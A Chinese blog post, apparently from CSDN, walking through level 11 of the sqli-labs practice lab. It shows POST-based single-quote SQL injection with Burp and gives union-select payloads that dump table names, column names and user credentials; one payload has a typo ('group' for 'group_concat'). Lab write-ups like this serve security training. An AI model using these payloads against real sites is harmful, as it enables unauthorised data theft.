【渗透测试】sqli-labs闯关(11-17)

通地塔

已于 2022-07-27 08:30:06 修改

阅读量775

点赞数 2

分类专栏：渗透测试文章标签：安全 sql

于 2020-04-21 19:03:35 首次发布

本文链接：https://blog.csdn.net/qq_43168364/article/details/105650210

版权

本文详细介绍了sqli-labs的11至17关的渗透测试过程，涉及POST型的单引号、双引号加小括号的SQL注入点，以及无法使用联合查询时的XPath报错注入和延时注入方法，展示了不同闭合方式下的SQL注入攻击技巧。

摘要由CSDN通过智能技术生成

第十一关：POST型的单引号报错注入点

方法：联合查询
输入用户名密码，打开bp进行抓包。
在这里插入图片描述
将抓到的包发送到repeater模块

首先猜测注入点在用户名上，判断闭合的方式是单引号，还是其他的。用单引号闭合时回显正常。

用双引号闭合时没用，回显，可知是用单引号闭合的。

判断列数

可知有两列，接下来我们就可用联合查询了。判断联合查询的回显是否正常。
在这里插入图片描述
接下来得到表名，语法：dumb' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+.

然后爆出字段名，语法：dumb' and 1=2 union select 1,group(column_name) from information_schema.columns where table_schema=database() and table_name="users" --+。
在这里插入图片描述
最后爆出详细的数据，语法：dumb' and 1=2 union select 1,group_concat(username,"-",password) from users --+。